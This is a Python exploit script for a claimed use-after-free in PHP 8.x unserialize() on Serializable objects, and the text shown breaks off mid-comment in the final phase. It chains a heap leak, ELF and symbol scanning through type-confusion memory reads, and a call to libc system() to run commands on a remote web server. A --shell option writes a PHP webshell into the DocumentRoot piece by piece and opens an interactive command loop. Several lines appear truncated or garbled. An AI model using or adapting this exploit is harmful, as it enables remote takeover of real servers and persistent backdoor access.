#!/usr/bin/env python3 """ PHP 8.x Serializable var_hash UAF → Remote RCE Only uses struct member offsets stable across PHP 8.0-8.5. Target endpoint: echo serialize(@unserialize($_REQUEST['cook'])); Vulnerability: zend_user_unserialize() (Zend/zend_interfaces.c:442) dispatches Serializable::unserialize() without incrementing BG(serialize_lock). A nested unserialize() inside the PHP method shares the outer var_hash. When the PHP code adds dynamic properties to inner-parsed objects, the property HashTable resizes (zend_hash_do_resize → efree(old arData)). The outer parser's R:N references still index into the freed arData, giving a use-after-free read/write primitive. Exploitation chain: Phase 1 — Heap leak via R: write-through Spray 32 strings into freed bin-320 slot. Stale R:6..R:12 references trigger ZVAL_MAKE_REF which writes a zend_reference* back into the reclaimed spray string. Comparing output vs original reveals the corrupted slot → absolute heap address. Phase 2 — ELF header scan (2MB aligned near heap) From the heap address, scan outward at 2MB alignment looking for ELF magic (e_ehsize=64, e_phentsize=56). libphp.so, libc.so, and ld-linux.so are all mmap'd nearby. Uses IS_STRING type confusion reads (see isstring_read below). Phase 3 — Dynamic symbol resolution For each ELF candidate, parse PT_DYNAMIC → DT_GNU_HASH/DT_SYMTAB/ DT_STRTAB and resolve symbols. From libphp: executor_globals, compiler_globals, std_object_handlers. From libc: system(). Falls back to link_map chain walk or GOT pointer chasing if the initial 2MB scan misses a DSO. Phase 4 — Read EG.function_table executor_globals is in .bss. Read function_table and class_table pointers from EG using BSS len-anchor scanning (looking for non-zero qwords usable as IS_STRING len fields). Phase 5 — system() from libc (resolved in Phase 3) libc system() takes one argument (the command string), no need to set up zend_execute_data. The get_properties_for vtable slot receives the fake object pointer as first arg, so system(obj) just works with the command embedded at the start of the object. Phase 6 — Spray slot discovery via ZMM chunk metadata Read the ZendMM chunk header (page map at chunk+0x250) to find bin-320 SRUN pages. Probe slots within the run to find a spray string (identified by len=280). This gives us the absolute address of spray content we control (S). Phase 7 — IS_OBJECT type confusion → RCE Final UAF trigger: spray strings contain a fake zend_object and fake zend_object_handlers. The stale R:6 reference reads from Bucket[1] in the reclaimed spray, which we set to IS_OBJECT type with value pointing to our fake object. When serialize() runs on this "object", it calls handlers->get_properties_for (vtable+0xC8), which we point to libc system(). The fake object starts with the command string, so system(obj) executes our command. The GC_ADDREF issue: serialize calls php_add_var_hash which does GC_ADDREF(obj), incrementing the uint32 at obj+0x00. We place a tab character (0x09) at byte 0 so after +1 it becomes 0x0A (newline), and the command string starting at byte 1 is passed to sh. Apache prefork memory model: All workers share .text/.data/.bss addresses (forked from parent). IS_STRING reads may crash individual workers (huge len field), but addresses remain valid across worker respawns. Crash-and-retry is the fundamental strategy. Usage: python3 test_full_chain.py --port 8081 python3 test_full_chain.py --port 8081 --cmd 'touch /tmp/pwn' python3 test_full_chain.py --port 8081 --shell Default command is "id>/dev/shm/x" (14 bytes, the maximum). To verify when the target runs in Docker: docker exec cat /dev/shm/x --shell mode drops a webshell () to the DocumentRoot via 16 chained RCE triggers, each writing a few bytes. Access via: curl 'http://target/c.php?1=id' """ import struct, socket, time, sys # ── Spray geometry ────────────────────────────────────────────────── # These match the bin-320 allocator slot size and the CachedData trigger. SPRAY_LEN = 280 # zend_string content length → 280 + 24 header = 304 → bin-320 SPRAY_COUNT = 32 # number of spray strings per payload NUM_PROPS = 7 # inner stdClass properties (fills nTableSize=8) REF_BASE = 6 # first stale R: index (R:6 → Bucket[1] in freed arData) MAX_REFS = 7 # R:6..R:12 → Bucket[1]..Bucket[7] def build_inner(): """Build the serialized payload for CachedData::unserialize(). Creates a:1:{s:5:"items";a:1:{i:0;O:8:"stdClass":7:{...}}} — a stdClass with 7 properties that fills nTableSize=8. When CachedData::unserialize() then adds 10 dynamic properties ($row->_c1.._c10), the HT resizes from nTableSize=8 to 16, calling efree(old arData). The outer var_hash still holds pointers into that freed arData. """ props = '' for k in range(NUM_PROPS): pname = f"p{k}" props += f's:{len(pname)}:"{pname}";i:{0xAAAA0000 + k};' return (f'a:1:{{s:5:"items";a:1:{{i:0;O:8:"stdClass":{NUM_PROPS}:' f'{{{props}}}}}}}') INNER = build_inner() # C: token invokes Serializable::unserialize() — the entry point to the bug C_PART = f'C:10:"CachedData":{len(INNER)}:{{{INNER}}}' def urlencode_bytes(data): """URL-encode raw bytes, preserving only unreserved characters.""" out = bytearray() for b in data: if (0x30 <= b <= 0x39 or 0x41 <= b <= 0x5A or 0x61 <= b <= 0x7A or b in (0x2D, 0x2E, 0x5F, 0x7E)): out.append(b) else: out.extend(f'%{b:02X}'.encode()) return bytes(out) req_count = 0 def send_http(payload, host=None, port=None, timeout=3): """Send a serialized payload as POST body (cook=...) and return response body.""" if host is None: host = HOST if port is None: port = PORT global req_count req_count += 1 body = b'cook=' + urlencode_bytes(payload) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(timeout) for attempt in range(2): try: s.connect((host, port)) break except: if attempt == 0: time.sleep(0.2) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(timeout) req = ( f"POST /remote_app.php HTTP/1.1\r\n" f"Host: {host}\r\n" f"Content-Type: application/x-www-form-urlencoded\r\n" f"Content-Length: {len(body)}\r\n" f"Connection: close\r\n" f"\r\n" ).encode() + body try: s.sendall(req) except: return None resp = b'' while True: try: chunk = s.recv(65536) if not chunk: break resp += chunk except: break s.close() if b'\r\n\r\n' in resp: hdr, body_data = resp.split(b'\r\n\r\n', 1) if b' 500 ' in hdr.split(b'\r\n')[0]: return None return body_data return resp crash_count = 0 def isstring_read(fake_str_addr, timeout=5): """Arbitrary read primitive via IS_STRING type confusion. The core building block for every remote phase. Layout: Spray string content (280 bytes) overlaps freed arData's Bucket array. Bucket layout: val(8) + type_info(4) + pad(4) + h(8) + key(8) = 32 bytes arData starts with 8 bytes of hash slots, then Bucket[0], Bucket[1], ... We set Bucket[1] (offset 40 in spray content): val = fake_str_addr (treated as zend_string* by the engine) type = 0x06 (IS_STRING) The stale R:6 reference resolves to Bucket[1]. The engine sees IS_STRING and calls serialize on it, reading zend_string.len (+0x10) and .val (+0x18) from fake_str_addr. The serialized output contains len bytes starting at fake_str_addr + 0x18 — arbitrary memory read. Crash behavior: if fake_str_addr + 0x10 points to a huge value or unmapped memory, the worker segfaults. Apache prefork spawns a replacement, and all .text/.data/.bss addresses remain valid. We just retry. Returns (len, data) or None on crash. """ global crash_count spray = bytearray(SPRAY_LEN) # Fill all buckets with IS_LONG (0x04) markers as baseline for k in range(8): vo = 8 + k * 32 struct.pack_into('= 0: pos += len(key) colon = output.index(b':', pos) slen = int(output[pos:colon]) dstart = colon + 2 dend = dstart + slen if dend <= len(output): return (slen, output[dstart:dend]) return (slen, output[dstart:]) return None def heap_leak(): """Phase 1: Leak a heap address via ZVAL_MAKE_REF write-through. Triggers the UAF and sprays 32 identical strings into the freed bin-320 slot. Then uses 7 stale R: references (R:6..R:12) to read from Bucket[1]..Bucket[7]. When the outer unserializer processes R:6 and the target zval has IS_LONG type, it calls ZVAL_MAKE_REF which: 1. Allocates a new zend_reference (24 bytes, bin-32) 2. Writes the reference pointer + IS_REFERENCE type_info back into the stale zval location — which is inside our spray string's content By comparing each spray string in the serialize output against the original, we detect which string reclaimed the freed arData and extract the zend_reference heap pointer from the corrupted bucket. """ spray = bytearray(SPRAY_LEN) # Fill all buckets with known IS_LONG markers for k in range(8): vo = 8 + k * 32 struct.pack_into(' len(output): break sdata = output[dstart:dstart + SPRAY_LEN] for k in range(7): bucket_idx = k + 1 vo = 8 + bucket_idx * 32 if vo + 8 > len(sdata): break orig = struct.unpack_from(' 0x10000: return curr search_pos = dstart + SPRAY_LEN return None def gnu_hash_func(name): """DJB hash used by ELF .gnu.hash sections.""" h = 5381 for c in name: h = (h * 33 + c) & 0xFFFFFFFF return h def gnu_hash_lookup_window(wdata, wbase, gh_addr, symtab, strtab, names): """Resolve symbol names via .gnu.hash using a pre-read memory window. Walks the bloom filter, bucket array, and hash chain to find each name in the ELF's exported symbol table. Returns {name: offset} for matches. """ def rd(addr, sz): off = addr - wbase if off < 0 or off + sz > len(wdata): return None return wdata[off:off+sz] hdr = rd(gh_addr, 16) if hdr is None: return {} nbuckets, symoffset, bloom_size, bloom_shift = struct.unpack('> bloom_shift) & 63)))) != \ ((1 << (h & 63)) | (1 << ((h >> bloom_shift) & 63))): continue bk = rd(buckets_addr + 4 * (h % nbuckets), 4) if bk is None: continue si = struct.unpack('?$`[](){};&|!*#~"\'\\ \t') def make_append_commands(webshell, staging_file='w'): r"""Split webshell into 'echo -n ...' commands, each <= 14 bytes. Safe chars: "echo -n XXX>>w" (up to 3 content chars) Special chars: "echo -n \X>>w" (1 content char with backslash escape) A special char followed by safe chars can share a command: "echo -n \?=>>w" (14 bytes, writes "?=") """ cmds = [] i = 0 overhead = len(f'echo -n >>{staging_file}') while i < len(webshell): c = webshell[i] if c in SHELL_SPECIAL: content = f'\\{c}' i += 1 budget = 14 - overhead - len(content) while budget > 0 and i < len(webshell) and webshell[i] not in SHELL_SPECIAL: content += webshell[i] i += 1 budget -= 1 else: budget = 14 - overhead content = '' while budget > 0 and i < len(webshell) and webshell[i] not in SHELL_SPECIAL: content += webshell[i] i += 1 budget -= 1 cmd = f'echo -n {content}>>{staging_file}' assert len(cmd) <= 14, f"BUG: {cmd!r} is {len(cmd)} bytes" cmds.append(cmd) return cmds def drop_shell(std_class_ce, system_addr, S, webshell='', filename='c.php'): """Multi-stage webshell drop: build PHP file char-by-char via repeated RCE. Apache CWD is the DocumentRoot, so "echo -n X>>w" writes into the webroot. Each RCE trigger appends up to 3 chars; a final "mv w " renames it. """ staging = 'w' append_cmds = make_append_commands(webshell, staging) rename_cmd = f'mv {staging} {filename}' assert len(rename_cmd) <= 14, f"rename too long: {rename_cmd!r} ({len(rename_cmd)} bytes)" all_cmds = [f'rm -f {staging}'] + append_cmds + [rename_cmd] print(f"\n[Phase 8] Dropping webshell ({len(all_cmds)} RCE triggers)") print(f" Webshell: {webshell}") print(f" Filename: {filename}") for i, cmd in enumerate(all_cmds): print(f" [{i+1}/{len(all_cmds)}] {cmd}") fire_rce(cmd, std_class_ce, system_addr, S) time.sleep(0.5) webshell_url = f'http://{HOST}:{PORT}/{filename}' print(f"\n Verifying webshell at {webshell_url}") import urllib.request, urllib.parse try: resp = urllib.request.urlopen(webshell_url + '?1=id', timeout=5).read() result = resp.decode('utf-8', errors='replace').strip() print(f"\n{'='*60}") print(f" WEBSHELL DEPLOYED: {webshell_url}") print(f" Verification (id): {result}") print(f"{'='*60}") print(f"\n[*] Total requests: {req_count}") print(f"\nInteractive shell (type 'exit' to quit):") while True: try: cmd = input("$ ") except (EOFError, KeyboardInterrupt): break if cmd.strip() == 'exit': break try: url = webshell_url + '?1=' + urllib.parse.quote(cmd) r = urllib.request.urlopen(url, timeout=10).read() print(r.decode('utf-8', errors='replace'), end='') except Exception as e: print(f"Error: {e}") except Exception as e: print(f"\n Webshell not reachable: {e}") print(f" www-data may lack write permission to DocumentRoot") def main(): global HOST, PORT import argparse parser = argparse.ArgumentParser(description='PHP 8.x Serializable var_hash UAF → RCE') parser.add_argument('--cmd', default=None, help='Custom command (max 14 chars). Default: id>/dev/shm/x') parser.add_argument('--shell', action='store_true', help='Drop a webshell to the DocumentRoot via multi-stage RCE') parser.add_argument('--host', default='127.0.0.1', help='Target host (default: 127.0.0.1)') parser.add_argument('--port', type=int, default=8080, help='Target port (default: 8080)') parser.add_argument('--resolve-only', action='store_true', help='Print resolved addresses as JSON and exit (no RCE)') args = parser.parse_args() HOST = args.host PORT = args.port print("=" * 60) print(" Full chain: heap → ELF → CG → system() → RCE") print(f" Target: {HOST}:{PORT}") print("=" * 60) # ── Phase 1: Heap leak ──────────────────────────────────────────── # Trigger the UAF and use ZVAL_MAKE_REF write-through to leak a # zend_reference pointer from the heap. The 2MB-aligned chunk base # is our starting point for scanning mapped DSOs. print("\n[Phase 1] Heap leak") heap_ref = heap_leak() if not heap_ref: print("FAILED"); return chunk = heap_ref & 0xFFFFFFFFFFE00000 print(f" heap_ref = 0x{heap_ref:x}") # ── Phase 2: ELF header scan ────────────────────────────────────── # DSOs are mmap'd at 2MB-aligned addresses. Scan outward from the heap # chunk base, probing each 2MB boundary for ELF headers. Identify each # by reading bytes at offset +0x10 (after the 16-byte ELF magic) and # checking e_ehsize=64, e_phentsize=56, reasonable e_phnum. print("\n[Phase 2] ELF scan (2MB aligned, near heap)") elf_candidates = [] for i in range(256): for d in [1, -1]: cand = chunk + d * i * 0x200000 if cand <= 0 or cand > 0x7FFFFFFFFFFF: continue fake_str = cand + 0x10 r = isstring_read(fake_str, timeout=3) if r is None: continue slen, sdata = r if slen != 64 or len(sdata) < 0x12: continue e_ehsize = struct.unpack_from('= 10] if len(big) >= 2: break if len(elf_candidates) >= 8: break if not elf_candidates: print(" No ELF found"); return # ── Phase 2.5: Fine-grained 1MB scan near found ELFs ───────────── # Some DSOs (especially libc) may not be 2MB-aligned. Do a finer # sweep near the ELF with the most phdrs (likely libphp). known_bases = set(b for b, _ in elf_candidates) ref_base = max(elf_candidates, key=lambda x: x[1])[0] print(f"\n[Phase 2.5] Fine-grained scan near 0x{ref_base:x}") def check_elf(addr): if addr in known_bases or addr <= 0: return None r = isstring_read(addr + 0x10, timeout=2) if r is None: return None slen, sdata = r if slen != 64 or len(sdata) < 0x12: return None eh = struct.unpack_from('= 10: break else: consec_miss += 1 if consec_miss >= 32: break # ── Phase 3: Symbol resolution ──────────────────────────────────── # For each ELF candidate, use phdr fields as IS_STRING len anchors to # read a large memory window, then parse .gnu.hash to resolve symbols. # From libphp: executor_globals, compiler_globals, std_object_handlers # From libc: system() print("\n[Phase 3] Symbol resolution") def elf_read_window(base, phnum): """Read a large memory window from an ELF using IS_STRING len confusion. The trick: ELF program headers contain fields like p_align (e.g. 0x200000), p_filesz, and p_memsz that are reasonable IS_STRING lengths. By pointing isstring_read at (field_addr - 0x10), the engine reads field value as zend_string.len and returns field_addr+0x08 onward — giving us a window of that many bytes covering the ELF's .gnu.hash, .dynsym, .dynstr, etc. Returns (window_base_addr, window_data, window_len) or None. """ phdr_data = None phdr_data_base = None for pi in range(3): for foff in (0x30, 0x20, 0x28): # p_align, p_filesz, p_memsz field_addr = base + 0x40 + pi * 56 + foff fs = field_addr - 0x10 sys.stdout.write(f" [win] phdr[{pi}]+0x{foff:x} @ 0x{fs:x}...") sys.stdout.flush() r = isstring_read(fs, timeout=3) if r is None: print(" FAIL") continue else: print(f" len={r[0]} got={len(r[1])}") slen, sdata = r if slen >= 56 and len(sdata) >= 56: phdr_data = sdata phdr_data_base = fs + 0x18 break if phdr_data is not None: break if phdr_data is None: return None # For each phdr, try using p_filesz(+0x20), p_memsz(+0x28), p_align(+0x30) # Collect all candidates sorted by value, try each until one works candidates = [] for i in range(phnum): phdr_addr = base + 0x40 + i * 56 off = phdr_addr - phdr_data_base if off < 0 or off + 56 > len(phdr_data): continue p_type = struct.unpack_from(' len(phdr_data): continue val = struct.unpack_from('= 0x1000 and val < 0x10000000: candidates.append((field_addr, val, i, field_off)) if not candidates: return None # Try candidates: prefer moderate sizes (avoid huge reads that may cross gaps) # Sort by: prefer 0x10000-0x400000 range, then by descending size def sort_key(c): v = c[1] if 0x10000 <= v <= 0x400000: return (0, -v) return (1, -v) candidates.sort(key=sort_key) for field_addr, expected_len, phdr_idx, field_off in candidates[:5]: sys.stdout.write(f" [win] cand phdr[{phdr_idx}]+0x{field_off:x} val=0x{expected_len:x}...") sys.stdout.flush() r = isstring_read(field_addr - 0x10, timeout=3) if r is None: print(" FAIL") continue wlen, wdata = r wbase = field_addr + 8 print(f" len=0x{wlen:x} got={len(wdata)}") if len(wdata) >= 0x1000: return (wbase, wdata, wlen) return None def elf_resolve_symbols(base, phnum, names, debug=False): """Resolve symbols from an ELF's .gnu_hash + PT_DYNAMIC. Returns dict or None.""" win = elf_read_window(base, phnum) if win is None: if debug: print(f" [dbg] elf_read_window returned None") return None wbase, wdata, wlen = win if debug: print(f" [dbg] window: wbase=0x{wbase:x} len={len(wdata)} wlen={wlen}") def rd(addr, sz): off = addr - wbase if off < 0 or off + sz > len(wdata): return None return wdata[off:off+sz] # Find PT_DYNAMIC from phdrs to get DT_SYMTAB and DT_STRTAB symtab = None strtab = None gnu_hash_addr = None # Read phdrs to find PT_DYNAMIC (p_type=2) dyn_addr = None dyn_size = 0 for pi in range(phnum): phdr_addr = base + 0x40 + pi * 56 phdr_raw = rd(phdr_addr, 56) if phdr_raw is None: continue p_type = struct.unpack_from(' 0x200000 or len(sdata) < 64: continue skip = anchor_off - 0x18 if skip < 0: skip = 0 data_start = max(0, skip) dyn_data = sdata[data_start:data_start + min(dyn_size, len(sdata) - data_start)] # Validate: first few entries should have reasonable d_tag values (1-32 or known high tags) if len(dyn_data) >= 16: tag0 = struct.unpack_from(' 100 and tag0 < 0x6FFFFEF5): dyn_data = None continue if debug: print(f" [dbg] .dynamic via anchor -0x{anchor_off:x}: len={slen} skip={data_start} got={len(dyn_data)}") break pltgot_addr = None if dyn_data and len(dyn_data) >= 32: for di in range(len(dyn_data) // 16): d_tag = struct.unpack_from(' base + 0x2000000): if debug: print(f" [dbg] symtab 0x{symtab:x} outside range, discarding") symtab = None if strtab and (strtab < base or strtab > base + 0x2000000): if debug: print(f" [dbg] strtab 0x{strtab:x} outside range, discarding") strtab = None if gnu_hash_addr and (gnu_hash_addr < base or gnu_hash_addr > base + 0x2000000): if debug: print(f" [dbg] gnu_hash 0x{gnu_hash_addr:x} outside range, discarding") gnu_hash_addr = None if debug: if symtab: print(f" [dbg] symtab=0x{symtab:x}") if strtab: print(f" [dbg] strtab=0x{strtab:x}") if gnu_hash_addr: print(f" [dbg] .gnu_hash @ 0x{gnu_hash_addr:x}") # Fallback: scan for .gnu_hash signature in window if gnu_hash_addr is None: for scan_off in range(0, min(len(wdata) - 16, 0x10000), 4): nb, so, bs, bsh = struct.unpack_from(' len(wdata): continue b0 = struct.unpack_from(' so + 1000000): continue gnu_hash_addr = wbase + scan_off if debug: print(f" [dbg] .gnu_hash (scan) @ 0x{gnu_hash_addr:x}") break if gnu_hash_addr is None: if debug: print(f" [dbg] .gnu_hash not found") return None # Fallback for symtab/strtab: compute from .gnu_hash chain end if symtab is None or strtab is None: gh_hdr = rd(gnu_hash_addr, 16) if gh_hdr is None: return None nbuckets, symoffset, bloom_size, bloom_shift = struct.unpack(' max_si: max_si = si si = max_si while si > 0: cv = rd(chains_start + 4*(si - symoffset), 4) if cv is None: break if struct.unpack(' len(wdata) or sy_off > len(wdata): if debug: print(f" [dbg] symtab/strtab outside window, reading extended region") # Read a window anchored at symtab (use strtab-symtab as rough size guide) sym_r = isstring_read(symtab - 0x10, timeout=3) if sym_r is None: if debug: print(f" [dbg] symtab region read failed") return None sym_len, sym_data = sym_r if debug: print(f" [dbg] symtab region: len={sym_len} got={len(sym_data)}") # Build merged window covering gnu_hash region + symtab region # Merge: create a virtual address space covering both ranges new_wbase = min(wbase, symtab + 8) new_wend = max(wbase + len(wdata), symtab + 8 + len(sym_data)) merged = bytearray(new_wend - new_wbase) # Copy original window o1 = wbase - new_wbase merged[o1:o1+len(wdata)] = wdata # Copy symtab region o2 = (symtab + 8) - new_wbase merged[o2:o2+len(sym_data)] = sym_data wdata = bytes(merged) wbase = new_wbase result = gnu_hash_lookup_window(wdata, wbase, gnu_hash_addr, symtab, strtab, names) if result: for name, offset in list(result.items()): result[name] = offset + base if pltgot_addr: result['__pltgot__'] = pltgot_addr if dyn_addr: result['__dynamic__'] = dyn_addr elif pltgot_addr or dyn_addr: result = {} if pltgot_addr: result['__pltgot__'] = pltgot_addr if dyn_addr: result['__dynamic__'] = dyn_addr return result if result else None # Try each ELF candidate — largest phnum first (libphp has the most) php_syms = None php_pltgot = None any_pltgot = None libc_system_addr = None elf_base = None wdata = None wbase = None for base, phnum in sorted(elf_candidates, key=lambda x: -x[1]): print(f"\n Trying ELF @ 0x{base:x} (phnum={phnum})") # Try PHP symbols first if php_syms is None: syms = elf_resolve_symbols(base, phnum, ['executor_globals', 'compiler_globals', 'std_object_handlers'], debug=True) if syms and 'executor_globals' in syms: php_syms = syms elf_base = base php_pltgot = syms.pop('__pltgot__', None) php_dynamic = syms.pop('__dynamic__', None) win = elf_read_window(base, phnum) if win: wbase, wdata, _ = win for name, addr in syms.items(): if not name.startswith('__'): print(f" {name} = 0x{addr:x} (offset 0x{addr-base:x})") if php_pltgot: print(f" PLTGOT = 0x{php_pltgot:x}") # Try libc symbols (system is exported by libc) if libc_system_addr is None: syms = elf_resolve_symbols(base, phnum, ['system']) if syms and 'system' in syms: libc_system_addr = syms['system'] any_pltgot = syms.get('__pltgot__', any_pltgot) print(f" system() = 0x{libc_system_addr:x} (libc @ 0x{base:x})") elif syms and '__pltgot__' in syms: any_pltgot = syms['__pltgot__'] if php_syms and libc_system_addr: break # ── Fallback: link_map chain walk ───────────────────────────────── # If the 2MB scan missed libphp or libc, walk the dynamic linker's # link_map linked list via GOT[1]. Each entry has l_addr (base) and # l_name (path string). We check names for "libphp" and "libc". if php_syms is None and any_pltgot: print(f"\n PHP not in 2MB scan -- walking link_map from PLTGOT 0x{any_pltgot:x}") r = isstring_read(any_pltgot + 0x8, timeout=3) link_map_ptr = None if r and r[1] and len(r[1]) >= 8: link_map_ptr = struct.unpack_from(' 0x7FFFFFFFFFFF: link_map_ptr = None if link_map_ptr: print(f" link_map @ 0x{link_map_ptr:x}") visited = set() cur = link_map_ptr # First walk backward to head for _ in range(64): if cur in visited or cur == 0 or cur < 0x10000: break visited.add(cur) r = isstring_read(cur, timeout=3) if r is None: break slen, sdata = r if len(sdata) < 40: break l_prev = struct.unpack_from('= 0 else nr[1][:64] if l_addr > 0x10000: short_name = name_str[-40:] if len(name_str) > 40 else name_str print(f" DSO @ 0x{l_addr:x} {short_name.decode('latin-1', errors='replace')}") if b'libphp' in name_str: nr2 = isstring_read(l_addr + 0x10, timeout=3) if nr2 and nr2[0] == 64 and len(nr2[1]) >= 0x12: epn = struct.unpack_from('= 0x12: epn = struct.unpack_from('= 8: break continue consec_crash = 0 slen2, sdata2 = r if slen2 != 64 or len(sdata2) < 0x12: continue eh = struct.unpack_from(' 0x200000 or len(sdata) < 64: continue # data begins at fake_str + 0x18 = php_dynamic - anchor_off + 0x18 data_abs_start = php_dynamic - anchor_off + 0x18 skip = max(0, anchor_off - 0x18) dyn_data = sdata[skip:skip + min(1024, len(sdata) - skip)] dyn_data_base = data_abs_start + skip if len(dyn_data) >= 16: tag0 = struct.unpack_from(' 100 and tag0 < 0x6FFFFEF5): dyn_data = None continue print(f" .dynamic via anchor -0x{anchor_off:x} (len={slen}, got={len(dyn_data)}b)") break if dyn_data: r_debug_ptr = None got_addr = None pltrelsz_val = None pltrelsz_off = None for di in range(len(dyn_data) // 16): d_tag = struct.unpack_from('= data_start and got_addr < data_start + len(got_data): got_off = got_addr - data_start # Verify: GOT[0] should be php_dynamic if got_off + 24 <= len(got_data): g0 = struct.unpack_from(' 0x7FFFFFFFFFFF: continue if elf_base <= ptr < libphp_end: continue if not any(abs(ptr - ep) < 0x80000 for ep in ext_ptrs): ext_ptrs.append(ptr) # Focus on pointers close to libphp (skip vDSO/Apache binary far away) nearby = [p for p in ext_ptrs if abs(p - elf_base) < 0x10000000] nearby.sort(key=lambda p: p) print(f" External pointer groups: {len(ext_ptrs)} total, {len(nearby)} nearby") for nidx, ep in enumerate(nearby): if libc_system_addr: break print(f" Trying nearby[{nidx}] = 0x{ep:x}") page = ep & ~0xFFF found_base = None # Search from far to near (r-- region probed first, less crashes) for est_off in range(0x7F000, 0x1F000, -0x1000): cand = page - est_off if cand <= 0: continue r2 = isstring_read(cand + 0x10, timeout=2) if r2 is None: continue slen2, sdata2 = r2 if slen2 != 64 or len(sdata2) < 0x12: continue eh = struct.unpack_from('= 12: found_base = cand syms = elf_resolve_symbols(cand, epn, ['system'], debug=True) if syms and 'system' in syms: libc_system_addr = syms['system'] print(f" system() = 0x{libc_system_addr:x}") break if found_base is None: # Fallback: standard backward scan result = find_elf_base(ep, max_pages=128) if result: ebase, epn, _ = result print(f" DSO @ 0x{ebase:x} (phnum={epn})") syms = elf_resolve_symbols(ebase, epn, ['system'], debug=True) if syms and 'system' in syms: libc_system_addr = syms['system'] print(f" system() = 0x{libc_system_addr:x}") else: print(f" No external pointers found in GOT data") else: # .got.plt not within read range; scan the whole data for pointers print(f" .got.plt not in range (got=0x{got_addr:x} data=0x{data_start:x}+{len(got_data)})") ext_ptrs = [] for qi in range(0, len(got_data) - 7, 8): ptr = struct.unpack_from(' 0x7FFFFFFFFFFF: continue if abs(ptr - elf_base) > 0x2000000: if not any(abs(ptr - ep) < 0x200000 for ep in ext_ptrs): ext_ptrs.append(ptr) if ext_ptrs: ext_ptrs.sort(key=lambda p: abs(p - elf_base)) print(f" Found {len(ext_ptrs)} external pointer groups") for ep in ext_ptrs[:8]: if libc_system_addr: break result = find_elf_base(ep, max_pages=256) if result: ebase, epn, pi = result print(f" DSO @ 0x{ebase:x} (phnum={epn}, {pi}pg back)") syms = elf_resolve_symbols(ebase, epn, ['system'], debug=True) if syms and 'system' in syms: libc_system_addr = syms['system'] print(f" system() = 0x{libc_system_addr:x}") else: print(f" GOT read via DT_PLTRELSZ failed (crash)") # Strategy B: Find DSOs via data scan, then scan backward from # highest-address DSO to find libc (which is just before ld-linux) if libc_system_addr is None and scan_base: print(f" Scanning data segment for DSO pointers") external_ptrs = [] seen_ranges = set() for delta in range(-2, 16): seen_ranges.add((elf_base >> 21) + delta) for delta in range(-2, 3): seen_ranges.add((chunk >> 21) + delta) for scan_off in [0x380, 0x0, 0x800]: fs = scan_base + scan_off r = isstring_read(fs, timeout=3) if r is None: continue slen, sdata = r if slen < 0x40 or slen > 0x200000 or len(sdata) < 0x40: continue for qi in range(0, len(sdata) - 7, 8): ptr = struct.unpack_from(' 0x7FFFFFFFFFFF: continue range_key = ptr >> 21 if range_key in seen_ranges: continue seen_ranges.add(range_key) external_ptrs.append(ptr) break # Sort by proximity to libphp so nearby DSOs (libc) are tried first external_ptrs.sort(key=lambda p: abs(p - elf_base)) # Trace each external pointer to its ELF base and try resolving system found_elfs = [] for ext_ptr in external_ptrs: if libc_system_addr: break result = find_elf_base(ext_ptr) if result: ebase, epn, _ = result if not any(ebase == fb for fb, _ in found_elfs): found_elfs.append((ebase, epn)) print(f" DSO @ 0x{ebase:x} (phnum={epn})") syms = elf_resolve_symbols(ebase, epn, ['system'], debug=True) if syms and 'system' in syms: libc_system_addr = syms['system'] print(f" system() = 0x{libc_system_addr:x}") # Find highest-address DSO in same address range as libphp # (filter out main executable which is at a different address range) same_range = [(b, p) for b, p in found_elfs if abs(b - elf_base) < 0x20000000] if same_range: max_base = max(b for b, _ in same_range) print(f" Highest nearby DSO: 0x{max_base:x}") print(f" Scanning backward for libc...") tried_bk = 0 for pi in range(512): if libc_system_addr: break cand = max_base - pi * 0x1000 if cand <= elf_base + 0x1000000: break r = isstring_read(cand + 0x10, timeout=2) tried_bk += 1 if r is None: continue slen, sdata = r if slen != 64 or len(sdata) < 0x12: continue eh = struct.unpack_from('= 80: break continue consec_unmap = 0 slen, sdata = r if slen == 64 and len(sdata) >= 0x12: eh = struct.unpack_from(' ft_addr: continue ft_data_off = ft_addr - data_start ct_data_off = ct_addr - data_start min_len = ct_data_off + 8 max_len = bss_end - data_start if max_len <= 0: continue r = isstring_read(fs) if r is None: continue slen, sdata = r if slen <= 0 or slen > max_len: continue if slen >= min_len and ct_data_off + 8 <= len(sdata): func_table = struct.unpack_from(' 0 and slen < 100000: if best_anchor is None or slen > best_anchor[1]: best_anchor = (scan_off, slen) if func_table is None or func_table < 0x10000 or func_table > 0x7FFFFFFFFFFF: if best_anchor: print(f" Best anchor: EG{best_anchor[0]:+#06x} len={best_anchor[1]} (too short)") print(" Could not read function_table") continue if class_table is None or class_table < 0x10000 or class_table > 0x7FFFFFFFFFFF: print(" Invalid class_table pointer") continue # ── Phase 5: system() already resolved from libc in Phase 3 ── system_addr = libc_system_addr print(f"\n[Phase 5] system() = 0x{system_addr:x} (resolved from libc)") # ── Phase 6: Find spray slot address via ZMM chunk metadata ── # To build the RCE payload, we need the absolute address of a spray # string's content (S). ZendMM chunks have a page map at chunk+0x250 # that describes each 4KB page's allocation state. We find a bin-320 # SRUN page, then probe slots within it for one containing our spray # (identified by zend_string.len == 280). print(f"\n[Phase 6] Find spray slot via chunk metadata") chunk_base = heap_ref & 0xFFFFFFFFFFE00000 print(f" chunk_base = 0x{chunk_base:x}") # chunk+0x40 as fake_str → len comes from heap.size at chunk+0x50 r = isstring_read(chunk_base + 0x40) if r is None: print(" Chunk metadata read crashed"); continue heap_size, cdata = r print(f" heap.size = {heap_size} (0x{heap_size:x}), got {len(cdata)} bytes") # Page map at chunk+0x250, data offset = 0x250 - 0x58 = 0x1F8 MAP_OFF = 0x1F8 if len(cdata) < MAP_OFF + 512 * 4: print(f" Not enough data for page map"); continue bin320_start = None for pn in range(1, 512): info = struct.unpack_from('> 16) & 0x1FF print(f" Bin-320 SRUN at page {pn}, free_count={free_count}") break if bin320_start is None: print(" No bin-320 run found in page map"); continue run_start = chunk_base + bin320_start * 0x1000 print(f" Run start = 0x{run_start:x}") # Probe slots to find spray strings (len=280) S = None for slot in range(64): addr = run_start + slot * 320 r2 = isstring_read(addr) if r2 is None: continue slen, sdata = r2 if slen == 280: S = addr + 0x18 print(f" Found spray at slot {slot} @ 0x{addr:x}") print(f" S = 0x{S:x}") break if S is None: print(" No spray slot found"); continue # ── Phase 7: RCE via IS_OBJECT type confusion ───────────────── # Final UAF trigger with a crafted spray that makes the stale R:6 # reference resolve as IS_OBJECT. The engine's serialize() then: # 1. Reads obj->ce and obj->handlers from our 